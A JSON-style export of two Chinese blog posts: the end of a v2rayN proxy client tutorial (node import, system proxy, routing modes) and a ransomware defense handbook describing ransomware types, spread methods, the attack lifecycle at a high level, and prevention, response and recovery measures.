每次启动/重启服务的时候，强制设定windows系统(ie)的代理。 不改变系统代理 每次启动/重启服务的时候，什么都不做。作用就是保留其他软件设定的代理。 节点 节点即软件中的服务器，在使用之前，首先需要添加一个v2rayN节点即服务端才能使用代理上网功能，更多节点可参考本站节点订阅地址。\n免费节点 由于软件支持VMess、VLESS、Trojan、Socks、Shadowsocks等代理协议，如需免费节点可以使用搜索引擎搜索。\n收费节点 免费节点资源少或者觉得免费节点不稳定的话可以考虑购买收费节点。推荐TNT官方机场 [TNTV2](https://jmsnode.com/)，支持 Shadowsocks 及 V2Ray 协议，并且多个数据中心及套餐可选。\n自己搭建节点 如果对稳定性要求高且有一定的技术基础，推荐自己搭建节点，速度有保证且安全性也最高，具体搭建教程可参考下面的链接。\nV2Ray 搭建 (VMess) Xray 搭建 (VLESS) Trojan 搭建 Shadowsocks 搭建 (SS) 添加服务器 获取节点服务器信息后，就可以开始添加服务器了，点击软件主界面的服务器，根据不同的节点添加不同的节点服务器。\n服务器设置\n订阅设置教程 一些代理机场往往会提供一个订阅地址，就可以使用订阅方式导入节点信息，点击软件主界面的订阅，订阅设置，在地址（url）部分粘贴订阅地址，点击添加，然后点击确定。\n剪贴板导入教程 首先复制节点服务器的连接地址，不同协议的地址如下所示。\nVMESS服务器即v2Ray节点地址：vmess:// VLESS服务器即Xray节点地址：vless:// Shadowsock服务器节点地址：ss:// Socks服务器节点地址：socks5:// Trojan服务器节点地址：trojan:// 单机鼠标右键复制或者使用键盘快捷键 Ctrl+C 复制节点地址，注意一定要复制全。\n扫描屏幕二维码教程 首先打开服务器节点的二维码图片，然后打开软件，点击软件主界面的服务器，选择扫描屏幕上的二维码即可导入节点信息，如下图所示。\n配置V2Ray节点 点击软件主界面的服务器，选择 添加[VMess]服务器，如下图所示。\n在添加窗口输入V2Ray节点信息，即可配置V2Ray服务器信息，然后点击确定保存，如下图所示。\n配置Shadowsocks节点 点击软件主界面的服务器，选择 添加[Shadowsocks]服务器，如下图所示。\n配置Socks节点 点击软件主界面的服务器，选择 添加[Socks]服务器，如下图所示。\n在添加窗口输入Socks节点信息，即可配置Socks服务器信息，然后点击确定保存，如下图所示。\n使用教程 在添加完节点信息后，开启系统代理并选择路由模式，即可开始使用代理服务器上网了，如下面系统代理及路由模式章节所述。\n系统代理 按照上面的配置教程配置完服务器（节点）后，需要设置系统代理才能让浏览器支持科学上网功能，在任务栏右下角系统托盘找到软件的图标，在图标上单击鼠标右键，找到系统代理，点击自动配置系统代理，此时软件的图标会标称红色，至此就可以开始使用了，打开 Google 试试能不能访问吧。\n路由模式 路由的功能是将入站数据按需求由不同的出站连接发出，以达到按需代理的目的。这一功能的常见用法是分流国内外流量，可以通过内部机制判断不同地区的流量，然后将它们发送到不同的出站代理，有以下三种路由模式可以选择。\n白名单(Whitelist)模式：只是白名单内的网站通过节点服务器代理上网 黑名单(Blacklist)模式：除了黑名单内的网站，其余网站都通过节点服务器代理上网 全局(Global)模式：所有网站通过节点服务器代理上网 根据不同的需求选择合适的路由模式，一般选择白名单模式。\n开机自动启动 在点击软件主界面的设置，点击参数设置进入参数设置页面后，选择v2rayN设置标签页，勾选上开机自动启动复选框，然后点击确认，如下图所示。\n订阅更新 更新教程 可在线自动更新软件、v2fly-Core、Xray-Core、Geo files，通过点击软件主界面的检查更新进行在线更新，如下图所示。\n常见问题 core类型的区别是什么？ core类型一共有两个，分别是v2fly与xray。\n支持哪些协议？ VMess、VLESS、Trojan、Socks、Shadowsocks等代理协议。\n与 v2rayNG 的关系？ v2rayN 安卓手机版名为 v2rayNG，可移步至 v2rayNG 下载并查看详细教程。\n其他系统也可移步Github搜索：【系统】+【V2ray】\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/v2rayn-%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/","summary":"v2rayN官网下载地址： 新手使用建议下载稳定版本，即版本号后标记为 Latest 的版本。","tags":["技术实践","网络工具"],"title":"V2rayN 使用教程快速入门","unix":1700618400,"year":"2023"},{"date":"2023-10-08","dateISO":"2023-10-08","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E5%85%B3%E4%BA%8E%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B_aggregated-by-bluedog/","plain":"[TOC]\n前言 勒索病毒是一种极具传播性、破坏性的恶意软件，主要利用多种密码算法加密用户数据，恐吓、胁迫、勒索用户高额赎金。近期，勒索病毒攻击形势更加严峻，已经对全球能源、金融等领域重要企业造成严重影响。由于勒索病毒加密信息难以恢复、攻击来源难以追踪，攻击直接影响与生产生活相关信息系统的正常运转，勒索病毒对现实世界威胁加剧，已成为全球广泛关注的网络安全难题。\n相关背景 勒索病毒威胁已经成为当前最受关注的网络安全风险之一。而结合信息窃取和泄露的二次勒索模式，使得勒索病毒的危害进一步加深。针对个人、企业、政府机关、各类机构的攻 击层出不穷，在勒索病毒威胁面前，没有人能够置身事外。在勒索病毒处置中，如能及时正 确处置，可有效降低勒索病毒带来的损失，避免病毒影响进一步扩散\n勒索病毒攻击事件数量持续走高 2021 年上半年，国际方面，统计全球公开披露的勒索病毒攻击事件 1200 余起，与 2020 年全年披露的勒索病毒攻击事件数量基本持平；国内方面，国家工业互联网安全态势感知与风险预警平台监测发现勒索病毒恶意域名的访问量5.05 万次，同比增长超过 10 倍，其中，截至2021年第二季度勒索病毒恶意域名访问量如图下图所示。\n勒索病毒概述 典型勒索病毒包括文件加密、数据窃取、磁盘加密等类型，攻击者主要通过钓鱼邮件、网页挂马等形式传播勒索病毒，或利用漏洞、远程桌面入侵等发起攻击，植入勒索病毒并实施勒索行为。\n（一）勒索病毒主要类型 **1.文件加密类勒索病毒。**该类勒索病毒以 RSA、AES 等多种加密算法对用户文件进行加密，并以此索要赎金，一旦感染，极难恢复文件。该类勒索病毒以 WannaCry 为代表，自2017 年全球大规模爆发以来，其通过加密算法加密文件，并利用暗网通信回传解密密钥、要求支付加密货币赎金等隐蔽真实身份的勒索病毒攻击模式引起攻击者的广泛模仿，文件加密类已经成为当前勒索病毒的主要类型。\n**2.数据窃取类勒索病毒。**该类勒索病毒与文件加密类勒索病毒类似，通常采用多种加密算法加密用户数据，一旦感染，同样极难进行数据恢复，但在勒索环节，攻击者通过甄别和窃取用户重要数据，以公开重要数据胁迫用户支付勒索赎金。据统计，截至 2021 年 5 月，疑似 Conti 勒索病毒已经攻击并感染全球政府部门、重点企业等 300 余家单位，窃取并公开大量数据。\n**3.系统加密类勒索病毒。**该类勒索病毒同样通过各类加密算法对系统磁盘主引导记录、卷引导记录等进行加密，阻止用户访问磁盘，影响用户设备的正常启动和使用，并向用户勒索赎金，甚至对全部磁盘数据进行加密，一旦感染，同样难以进行数据恢复。例如，2016 年首次发现的 Petya 勒索病毒，对攻击对象全部数据进行加密的同时，以病毒内嵌的主引导记录代码覆盖磁盘扇区，直接导致设备无法正常启动。\n**4.屏幕锁定类勒索病毒。**该类勒索病毒对用户设备屏幕进行锁定，通常以全屏形式呈现涵盖勒索信息的图像，导致用户无法登录和使用设备，或伪装成系统出现蓝屏错误等，进而勒索赎金，但该类勒索病毒未对用户数据进行加密，具备数据恢复的可能。例如，WinLock 勒索病毒通过禁用 Windows 系统关键组件，锁定用户设备屏幕，要求用户通过短信付费的方式支付勒索赎金\n（二）勒索病毒典型传播方式 **1.利用安全漏洞传播。**攻击者利用弱口令、远程代码执行等网络产品安全漏洞，攻击入侵用户内部网络，获取管理员权限，进而主动传播勒索病毒。目前，攻击者通常利用已公开且已发布补丁的漏洞，通过扫描发现未及时修补漏洞的设备，利用漏洞攻击入侵并部署勒索病毒，实施勒索行为。\n**2.利用钓鱼邮件传播。**攻击者将勒索病毒内嵌至钓鱼邮件的文档、图片等附件中，或将勒索病毒恶意链接写入钓鱼邮件正文中，通过网络钓鱼攻击传播勒索病毒。一旦用户打开邮件附件，或点击恶意链接，勒索病毒将自动加载、安装和运行，实现实施勒索病毒攻击的目的。\n**3.利用网站挂马传播。**攻击者通过网络攻击网站，以在网站植入恶意代码的方式挂马，或通过主动搭建包含恶意代码的网站，诱导用户访问网站并触发恶意代码，劫持用户当前访问页面至勒索病毒下载链接并执行，进而向用户设备植入勒索病毒。\n**4.利用移动介质传播。**攻击者通过隐藏 U 盘、移动硬盘等移动存储介质原有文件，创建与移动存储介质盘符、图标等相同的快捷方式，一旦用户点击，自动运行勒索病毒，或运行专门用于收集和回传设备信息的木马程序，便于未来实施针对性的勒索病毒攻击行为。\n**5.利用软件供应链传播。**攻击者利用软件供应商与软件用户间的信任关系，通过攻击入侵软件供应商相关服务器设备，利用软件供应链分发、更新等机制，在合法软件正常传播、升级等过程中，对合法软件进行劫持或篡改，规避用户网络安全防护机制，传播勒索病毒。\n**6.利用远程桌面入侵传播。**攻击者通常利用弱口令、暴力破解等方式获取攻击目标服务器远程登录用户名和密码，进而通过远程桌面协议登录服务器并植入勒索病毒。同时，攻击者一旦成功登录服务器，获得服务器控制权限，可以服务器为攻击跳板，在用户内部网络进一步传播勒索病毒。\n勒索病毒攻击现状 结合近期攻击事件，勒索病毒攻击主要在攻击目标、攻击手段等方面呈现新特点，同时攻击者开始构建精准复杂的攻击链，发起勒索病毒攻击。\n（一）近期勒索病毒攻击特点 **1.瞄准行业重要信息系统，定向实施勒索病毒攻击。**攻击者瞄准能源、医疗等承载重要数据资源的行业信息系统作为勒索病毒攻击“高价值”目标，摒弃传统利用钓鱼邮件、网页挂马等“广散网”无特定目标的勒索病毒传播模式，向涵盖探测侦察、攻击入侵、病毒植入等的精准化勒索病毒攻击链转变，如嗅探网络发现攻击入口、利用漏洞攻击入侵等，针对行业重要信息系统发起定向攻击，植入勒索病毒并勒索超高额赎金。\n**2.佯装勒索病毒攻击，掩盖真实网络攻击意图。**攻击者通过甄别重点攻击目标，假装加密数据文件并实施勒索，利用勒索病毒遍历系统文件、覆盖系统引导目录，以及类后门木马的功能，佯装实施勒索病毒攻击，隐藏其窃取敏感信息、破坏信息系统等的真实攻击意图。据披露，在 Agrius、Pay2Key等黑客组织的攻击活动中，被认为假装加密数据并勒索赎金，掩盖其直接破坏信息系统的攻击行为。\n**3.针对工控系统专门开发勒索病毒，工业企业面临攻击风险加剧。**攻击者通过集成工控系统软硬件漏洞，或内嵌强制中止实时监控、数据采集等工业领域常用系统的恶意功能，开发和升级形成 Cring、EKANS 等具备专门感染工控系统能力的勒索病毒，针对工业企业实施攻击，引发企业生产线、业务线停工停产的严重影响。此外，通过攻击入侵投递和植入REvil、DarkSide 等典型勒索病毒，同样存在利用勒索病毒攻击工业企业的可能。\n**4.漏洞利用仍是攻击主要手段，引发勒索病毒传播一点突破、全面扩散。**攻击者主要利用已公布漏洞，通过漏洞扫描、端口扫描等方式主动发现未及时修补漏洞的设备，利用漏洞“一点突破”网络安全防线，实施远程攻击入侵，并在攻击目标内部网络横向移动，扩大勒索病毒感染范围，实施勒索行为。\n**5.以虚拟化环境作为攻击跳板，双向渗透传播勒索病毒。**勒索病毒攻击开始以虚拟化环境为通道，通过感染虚拟机、虚拟云服务器等，强制中止虚拟化进程，或利用虚拟化产品漏洞、虚拟云服务器配置缺陷等，实现虚拟化环境的“逃逸”，进而向用户和网络“双向渗透”传播勒索病毒。\n**6．经济利益驱动运作模式升级，初步形成勒索病毒黑产链条。**部分勒索病毒攻击团伙开发形成“勒索病毒即服务”，面向团伙“会员”提供“开箱即用”的勒索病毒攻击服务，如购买勒索病毒程序、靶标系统访问权限，或订购针对特定目标的勒索病毒攻击服务等。同时，在病毒开发、攻击入侵等环节招募“合作伙伴”，“分工协作”增加勒索病毒攻击成功率。据披露，REvil 勒索病毒攻击团伙负责开发病毒、勒索谈判、赎金分成等，其“合作伙伴”负责入侵目标网络等。\n（二）典型勒索病毒攻击流程 聚焦勒索病毒攻击链，近期勒索病毒攻击团伙在成功实施网络攻击入侵的基础上，植入勒索病毒并实施勒索行为，其典型攻击流程主要包括探测侦察、攻击入侵、病毒 勒索病毒安全防护手册植入、实施勒索 4 个阶段。\n1.探测侦察阶段 1\u003e收集基础信息 攻击者通过主动扫描、网络钓鱼以及在暗网黑市购买等方式，收集攻击目标的网络信息、身份信息、主机信息、组织信息等，为实施针对性、定向化的勒索病毒攻击打下基础。\n2\u003e发现攻击入口 攻击者通过漏洞扫描、网络嗅探等方式，发现攻击目标网络和系统存在的安全隐患，形成网络攻击的突破口。此外，参照勒索病毒典型传播方式，攻击者同样可利用网站挂马、钓鱼邮件等方式传播勒索病毒。\n2.攻击入侵阶段 1\u003e部署攻击资源 根据发现的远程桌面弱口令、在网信息系统漏洞等网络攻击突破口，部署相应的网络攻击资源，如 MetaSploit、CobaltStrike、RDP Over Tor 等网络攻击工具。\n2\u003e获取访问权限 采用合适的网络攻击工具，通过软件供应链攻击、远程桌面入侵等方式，获取攻击目标网络和系统的访问权限，并通过使用特权账户、修改域策略设置等方式提升自身权限，攻击入侵组织内部网络。\n3.病毒植入阶段 1\u003e植入勒索病毒 攻击者通过恶意脚本、动态链接库 DLL 等部署勒索病毒，并劫持系统执行流程、修改注册表、混淆文件信息等方式规避安全软件检测功能，确保勒索病毒成功植入并发挥作用。\n2\u003e扩大感染范围 攻击者在已经入侵内部网络的情况下，通过实施内部鱼叉式网络钓鱼、利用文件共享协议等方式在攻击目标内部网络横向移动，或利用勒索病毒本身类蠕虫的功能，进一步扩大勒索病毒感染范围和攻击影响。\n4.实施勒索阶段 1\u003e加密窃取数据 攻击者通过运行勒索病毒，加密图像、视频、音频、文本等文件以及关键系统文件、磁盘引导记录等，同时根据攻击目标类型，回传发现的敏感、重要的文件和数据，便于对攻击目标进行勒索。\n2\u003e加载勒索信息 攻击者通过加载勒索信息，胁迫攻击目标支付勒索赎金。通常勒索信息包括通过暗网论坛与攻击者的联系方式、以加密货币支付赎金的钱包地址、支付赎金获取解密工具的方式等。\n勒索病毒攻击安全防护举措 1.勒索病毒攻击安全防护框架 由于不同的安全防护措施在勒索病毒攻击的不同阶段发挥不同程度的作用，通过梳理勒索病毒典型安全防护措施，按照核心防护措施（●）、重要防护措施（◎）、一般防护措施（○），与勒索病毒攻击的 4 个阶段形成映射关系，构建形成勒索病毒攻击安全防护框架。建议用户根据自身情况，选择恰当的防护措施，防范化解勒索病毒攻击风险。\n**1.核心防护措施。**该类措施在特定勒索病毒攻击阶段发挥核心防护作用，有效阻断勒索病毒攻击行为或全面消除\n勒索病毒攻击引发的特定影响等。例如，数据备份、数据恢复主要针对勒索病毒攻击实施勒索的阶段，通过攻击前备份数据、攻击后恢复数据，消除由于勒索病毒加密、窃取数据，引发数据丢失，甚至是业务中断等方面的攻击影响。\n**2.重要防护措施。**该类措施在特定勒索病毒攻击阶段发挥重要防护作用，但与核心防护措施相比，未能发挥全面防范应对勒索病毒攻击的效果。例如，采取恰当的安全管理措施，如严格的网络隔离、访问控制等，在攻击者获取访问权限实施攻击入侵方面发挥核心防护作用，但在侦察探测的收集基础信息攻击阶段，攻击者可能采取主动网络探测、暗网黑市购买等多种方式，安全管理在该阶段未能发挥全面防范应对的效果，发挥重要防护作用。\n**3.一般防护措施。**该类措施在特定勒索病毒攻击阶段发挥一般的防护作用，但与核心防护措施和重要防护措施相比，仅能在一定程度上发挥防范应对勒索病毒攻击的效果。例如，制定应急预案主要针对攻击者已经开始实施勒索病毒攻击，明确应急处置机制、流程等，在已经发现遭受勒索病毒攻击的情况，启动预案并采取措施应对攻击风险，但在勒索病毒攻击发生前，安全防护措施主要以事前防范为主，因此制定应急预案在攻击者正式实施攻击前发挥一般防护作用\n2.勒索病毒攻击安全防护实操参考 按照勒索病毒攻击“事前、事中、事后”三个阶段，从管理、技术两个方面防范化解攻击风险，典型勒索病毒攻击安全防护措施和实操主要包括以下几个方面\n1\u003e事前：夯实防范基础 **（1）制定网络安全应急预案。**建立内部涵盖勒索病毒攻击等网络安全突发事件的应急组织体系和管理机制，加强勒索病毒攻击应对统筹管理，明确工作原则、职责分工、应急流程、关键措施等。一旦发生勒索病毒攻击事件，立即启动内部网络安全应急预案，并按照预案要求及时开展应急处置工作，确保有效控制、减轻、消除勒索病毒攻击影响。\n职责分工：明确组织内部网络安全应急预案中的具体职责及分工，建立涵盖勒索病毒攻击等网络安全突发事件的应急组织体系，通常由组织特定部门牵头，高度协调内部相关部门，识别风险、加强防范、做好应急，从组织安全、个人安全等层面防范化解网络安全突发事件。 应急流程：明确涵盖勒索病毒攻击等在内的网络安全突发事件应急流程和主要工作内容，其中，针对勒索病毒攻击的应急流程通常包括但不限于立即隔离感染勒索病毒的设备、排查主要业务系统的感染范围、利用备份数据进行数据恢复等。 关键措施：明确涵盖勒索病毒攻击等在内的网络安全突发事件应急响应关键措施，包括但不限于定期组织网络安全演习、建立网络安全监测处置专业技术手段、加强网络安全应急响应技术支撑队伍建设、储备漏洞检测和网络扫描等网络安全应急装备、开展网络安全应急培训等。 **（2）加强组织内部网络安全管理。**在网络隔离、资产管理等方面采取措施，如进行物理和逻辑的网络隔离、及时更新杀毒软件和漏洞补丁、避免关键信息系统在互联网上暴露、与供应商签订协议明确安全责任和义务、评审供应商提供服务情况等。\n网络隔离：采用合理的网络分区，限制勒索病毒的入侵和传播。如根据不同业务需要将网络分为隔离区、内网区、外来接入区、内网服务器区等，并限制不同分区间的网络访问。在同一分区内，采用虚拟局域网技术隔离不同部门资产，降低由于单一设备感染勒索病毒，导致勒索病毒在内部网络进一步传播的可能。 访问控制：对组织关键业务系统设置严格的访问权限，如按照权限最小化原则开放必要的访问权限、根据访问控制策略设置访问控制规则等。及时对访问控制规则进行更新，删除多余或无效的访问控制规则，如定期对开放的访问权限进行梳理，及时删除因人员离职、资产 IP 变更后存留的访问权限。 资产管理：排查组织资产暴露情况，梳理暴露资产真实范围，梳理范围涵盖组织分公司、下级机构等相关资产，梳理时间根据自身实际情况如每周、月、半年等进行资产梳理。同时，按照最小化原则，尽可能减少在资产互联网上暴露，特别是避免重要业务系统、数据库等核心信息系统在互联网上暴露。 漏洞排查：对组织资产进行漏洞排查，一旦发现资产存在安全漏洞，及时进行修补。采用漏洞扫描等设备和产品的，对漏洞扫描设备进行集中管理，建立完整、持续的漏洞发现和管理手段；具备导入第三方漏洞报告能力，支持导入和分析主流厂家漏洞和配置核查扫描结果；针对扫描的漏洞结果加强漏洞知识库关联，及时获取漏洞信息和解决方案等。 身份鉴别：对用户进行身份标识和鉴别，如保证身份标识具有唯一性、采用动态口令等两种或两种以上身份鉴别、具备防范口令暴力破解的能力、口令等身份鉴别信息符合复杂度要求并定期更换、推行口令定期强制修改和出厂口令修改等。同时，通过采用扫描软硬件对系统口令定期进行安全性评估，识别发现并及时消除口令安全风险。 软件管理：规范组织内部软件版本管理机制，避免使用盗版或来路不明的软件，使用软件风险评估系统或工具定期检测关键业务系统使用的相关软件版本，避免由于软件版本低引发安全风险。基于网络流量对组织内部访问“风险网站”进行检测和阻断，降低由于下载和安装恶意软件，导致感染勒索病毒的可能。 供应链管理：部署供应链安全风险防控措施，包括供应链相关人员管理、供应链生命周期管理、采购外包与供应商管理。采用的网络设备、安全产品、密码产品等产品与服务的采购和使用符合国家有关规定。与选定的供应商签订协议，明确供应链各方履行的安全责任和义务，定期审视、评审和审核供应商提供的服务，对其变更服务内容加以控制。 **（3）部署专业网络安全产品。**在终端侧、网络侧等部署网络安全产品，并日常排查设备告警情况。例如，在终端侧，安装具有主动防御功能的安全软件，不随意退出安全软件、关闭防护功能、执行放行操作等，并设立应用软件白名单，及时保持白名单的准确性、完整性、实时性；在网络侧，部署流量监测、阻断等类型的网络安全设备，加强针对勒索病毒攻击威胁的监测、溯源等。\n终端侧：在终端侧部署杀毒软件、终端安全管理系统等终端安全产品，对勒索病毒进行检测和查杀。终端安全产品应支持防暴力破解、端口扫描以及系统登录防护、弱口令检测能力；可支持云端威胁情报联动、本地实时监测等多种模式，具备勒索病毒专杀的功能；具备勒索病毒免疫、应用进程防护等能力，如利用文件防护产品，检测文件的执行、生成、修改、重命名等，发现遍历大量文件、文件修改操作、调用加密算法库等时，及时提示和拦截。利用勒索病毒诱饵文档，发现恶意修改文档的行为，并拦截关联进程。针对核心的应用数据，支持驱动级的文件保护、设置合规进程访问策略等，杜绝非合规进程对文件的任意修改。 网络侧：通过在网络边界部署防火墙、堡垒机等产品，仅允许授权用户对关键业务系统进行访问，实现访问权限限制和管理，并与检测系统联动，通过流量解析实施勒索病毒攻击告警，防火墙根据告警封禁攻击 IP 地址；部署IPS、UTS 等流量监测阻断产品，通过还原流量中传播的勒索病毒样本，联动威胁情报、沙箱分析等，识别和阻断投递过程中勒索病毒；部署邮件安全网关、邮件威胁分析系统等产品，检测和拦截邮件投递的勒索病毒。 中心侧：部署网络安全威胁管理平台、漏洞扫描系统等产品，对安全漏洞威胁、弱口令风险等实现及时发现和闭环管理；部署网络安全态势感知平台，通过对原始流量、网络告警等信息的收集和分析，监测勒索病毒攻击情况、发现病毒传播线索；针对性部署勒索病毒攻击常用高风险漏洞蜜罐，发现勒索病毒横向传播行为，在勒索病毒接触到真实攻击目标前进行预警，同时对通过蜜罐环境捕获到的勒索病毒和传播方式进行溯源分析。 服务器侧：结合服务器计算、存储等方面资源优势，在具备支持驱动级的文件保护以及防暴力破解、端口扫描等终端侧防护措施的基础上，通过投放诱饵文档，实时监控诱饵文档的改动，依据文档的 MD5 值判定系统是否遭受勒索病毒加密，一旦单位时间内多个诱饵文件连续发生改动，即正遭受勒索病毒攻击，立即终止修改诱饵文件的进程，并隔离进程对应的文件；对已知勒索病毒，可通过内核抢占字符，实现对特定勒索病毒的攻击免疫；当发现系统中文件创建、修改或进程启动、模块加载等事件时，应用层应主动调用杀毒引擎对此文件进行病毒扫描检查；建立应用进程的白名单，实现对恶意应用进程的拦截。 **（4）加强用户网络安全意识。**以培训、演练等提高网络安全意识，在用户层面切断勒索病毒传播的入口。例如，在文件方面，不点击来源不明的邮件附件、打开邮件附件前进行安全查杀等；在网站方面，不从不明网站下载软件等；在外接设备方面，不混用工作和私人的外接设备、关闭移动存储设备自动播放功能并定期进行安全查杀等。\n文件方面：在文件安全方面的安全意识包括但不限于不安装来路不明的软件、不点击来源不明的邮件附件、禁用微软 Office 软件宏功能，以及不轻易打开文件扩展名为js、vbs、wsf、bat、cmd、ps1、sh 等脚本文件和 exe、scr、com 等可执行程序，对于陌生人通过邮件等方式发送的压缩文件包打开前进行安全查杀等。 网站方面：在网站安全方面的安全意识包括但不限于不从不明网站下载软件、不点击不可信来源邮件中的URL 等，同时浏览网页时应提高安全警惕，不浏览含有色情、赌博等不良信息的网站，使用具有安全功能或安全提醒的浏览器软件，降低遭遇网站挂马、网站钓鱼等安全风险的可能。 外接设备方面：在设备安全方面的安全意识包括但不限于不使用来路不明的移动存储设备、不混用工作和私人的外接移动存储设备、定期对移动存储设备进行安全查杀等，在工作设备与移动存储设备外连时，关闭移动存储设备的自动播放功能，并使用安全软件对移动存储设备进行安全查杀。 远程使用方面：在远程使用方面的安全意识包括但不限于远程访问仅向必要人员授权、关键终端采用双重认证、设定账户异常锁定策略、修改默认远程使用端口如RDP 协议 3389 端口和 SSH 协议 22 端口、通过防火墙限制和只允许特定地址连接、限制远程访问数据库。 **（5）做好重要数据备份工作。**根据文件和数据的重要程度分类分级进行存储和备份，如主动加密存储重要、敏感的数据和文件，防范利用勒索病毒的双重或多重勒索行为。明确数据备份的范围、内容、周期等，定期采取本地备份、异地备份、云端备份等多种方式进行数据备份，增加遭受勒索病毒攻击且数据文件加密、损坏、丢失等情况下恢复数据的可能。\n数据分级分类策略：在理清组织内部数据资产全貌的基础上，根据数据对组织重要程度、数据本身属性等，采取分级分类的方式存储和备份数据。如按照公开、内部、秘密数据，或根据数据对应的不同业务类型，对数据进行存储和备份。\n敏感数据加密存储：对关键数据、敏感数据和文件进行加密存储，如利用加密工具、加密系统、加密硬件等方式，对存储数据的硬件设备进行全盘加密或对存储数据的扇区进行加密、将数据文件加密存储至硬件设备、在数据传输中进行加密等。\n定期进行数据备份：采取实时备份、定时备份等方式对数据进行备份。如在存储设备发生传输、接收等数据变化时进行同步或异步实时备份，设置明确数据备份时间定时进行数据备份，或通过设置数据存储目录变化、应用操作结束等数据备份触发条件进行数据备份。\n2\u003e事中：做好应急响应 **（1）隔离勒索病毒感染设备。**确认遭受勒索病毒攻击后，应采取断网、关机等方式隔离感染设备。其中，可采取拔掉设备网线、禁用设备网卡、关闭无线网络等方式断网，防止勒索病毒通过感染设备自动连接的网络在内部传播并进一步感染其他设备。\n物理隔离：确认遭到勒索病毒攻击，为防止感染设备自动通过连接的网络进一步传播病毒，同时防止攻击者通过感染设备继续攻击入侵其他设备，采取断网、断电的方式隔离感染设备，同时关闭设备的无线网络、蓝牙连接等，禁用网卡并拔掉设备全部外部存储设备。 修改口令：为防止由于口令泄露、破解等导致攻击者攻击入侵，进而实施勒索病毒攻击，同时防止攻击者使用泄露、破解的口令进一步扩大攻击范围，立即修改感染设备的登录密码、同一局域网下的其他设备密码、最高级系统管理员账号的登录密码。 **（2）排查勒索病毒感染范围。**在已经隔离感染设备的情况下，对数据备份、网络分布、信息泄露等情况进行排查，并检查核心业务是否遭受攻击影响。对于感染情况不明的设备，应提前进行磁盘备份，在隔离网内现场或线上排查，避免启动设备时因残留勒索病毒再次感染。\n信息泄露排查：一旦发现遭受勒索病毒攻击，及时排查信息泄露情况。同时，在隔离勒索病毒感染设备后，及时排查存储有敏感信息的设备异常访问情况，确认是否存在敏感数据泄露的风险。 网络拓扑排查：了解现场环境的网络拓扑、业务架构、设备类型等关键信息，评估勒索病毒传播范围、攻击手段等，对勒索病毒失陷区域作出初步判断，为控制病毒扩散和根除病毒威胁提供支撑。 业务系统排查：在确认设备感染勒索病毒后，并已经进行隔离的情况下，应即对核心业务系统和备份系统进行排查，重点排查核心业务系统是否遭受攻击影响，生产经营相关系统是否遭到加密，进一步确定勒索病毒感染范围。 数据备份排查：隔离勒索病毒感染设备后，及时排查数据备份和可用情况。对于重要服务器等设备采取数据备份冗余策略，在一台服务器遭受加密后，及时查看备份设备是否可以迅速有效对接，确保核心业务正常运转。 **（3）研判勒索病毒攻击事件。**通过感染的勒索病毒勒索信息、加密文件、桌面背景、可疑样本、弹窗信息等借助工具对勒索病毒进行分析，或求助网络安全专业人员对勒索病毒感染时间、传播方法、感染种类等进行排查，确定感染的勒索病毒类型，便于尝试进行病毒破解等。\n研判勒索病毒种类：勒索病毒在感染设备后，攻击者通常通过加载勒索提示信息胁迫用户支付赎金。遭受勒索病毒攻击的组织可从加密的磁盘目录中寻找勒索提示信息，并根据勒索病毒的标识判断本次感染的勒索病毒种类。 研判攻击侵入手段：通过查看设备保留的日志和样本，判断攻击者攻击入侵的方式。如日志信息遭到删除，通过查找感染设备上留存的勒索病毒的样本或可疑文件，判断攻击者攻击入侵的方式，便于进行安全隐患修补。 勒索 **（4）尝试进行勒索病毒破解。**在确定勒索病毒类型的基础上，尝试利用勒索病毒本身加密特性、流程等破解，进而恢复遭到加密的全部或部分数据，如针对已经公布私钥、以文件大小作为密钥等的部分勒索病毒尝试进行破解。其中，病毒破解技术专业性极高，可联系网络安全企业寻求协助。\n已知私钥破解：通过各种渠道获取到勒索病毒攻击团伙私钥进行破解。如 GandCrab、Avaddon 等勒索病毒私钥已经公开，相关解密工具可用于进行特定勒索病毒的破解。这里推荐No More Ransom,输入已识别勒索软件的名称，所有可用的解密器（如果有）都会列出。 加密漏洞破解：通过分析挖掘勒索病毒本身编写的不规范问题，获取密钥生成方式，如动态虚拟专用网络采用的加密算法利用文件大小作为密钥，生成密钥进行解密。 明密文碰撞解密：部分勒索病毒采用加密生成的固定长度密钥串，可能通过明密文对比计算获取勒索软件使用的加密密钥，进而进行勒索病毒的破解。 暴力破解：通过对勒索软件有限的密钥空间进行穷尽，如针对利用时间做种子产生伪随机数作为密钥的情况，进行暴力破解获取密钥。 3\u003e事后：实施安全加固 **（1）利用备份数据进行恢复。**根据遭受勒索病毒攻击影响相关设备数据备份的情况，按照数据恢复要求、备份日志，衡量数据恢复时间成本、数据重要程度，确认数据恢复范围、顺序及备份数据版本，利用离线、异地、云端等备份数据恢复。\n本地数据恢复：利用本地数据备份的数据进行恢复。本地备份数据同样遭到勒索病毒加密的，可利用磁盘修复工具、文件容错机制，或联系专业数据恢复企业进行数据恢复。 异地数据恢复：使用数据备份副本进行数据恢复，将备份的数据迁移至本地。异地备份数据遭到加密时，同样利用磁盘修复工具、文件容错机制，或联系专业数据恢复企业进行数据恢复。 云端数据恢复：将云快照备份的特定时间节点数据或云镜像备份的全量数据，下载至本地进行云端数据恢复。数据本身存储、应用均在云端，根据组织对本地存储、应用需求，选择性进行数据恢复。 **（2）更新网络安全管理措施。**根据勒索病毒攻击事件暴露出的问题，针对性修订完善网络安全管理制度，做好攻击预警和处置，同时对攻击事件进行复盘，并更新网络安全突发事件应急预案，进一步落实网络安全责任。\n完善管理制度：根据勒索病毒攻击事件暴露出的问题，及时有针对性的完善网络安全管理制度。例如，检查、识别网络安全管理流程执行的现行管理标准与国家相关法律法规、管理规定、方针策略等要求和特点适应；准确识别获取的法律法规标准对组织的适用性要求，进行必要的网络安全管理制度和管理标准更新，及时清理过期的规章制度，确保组织网络安全管理制度符合持续改进的要求。 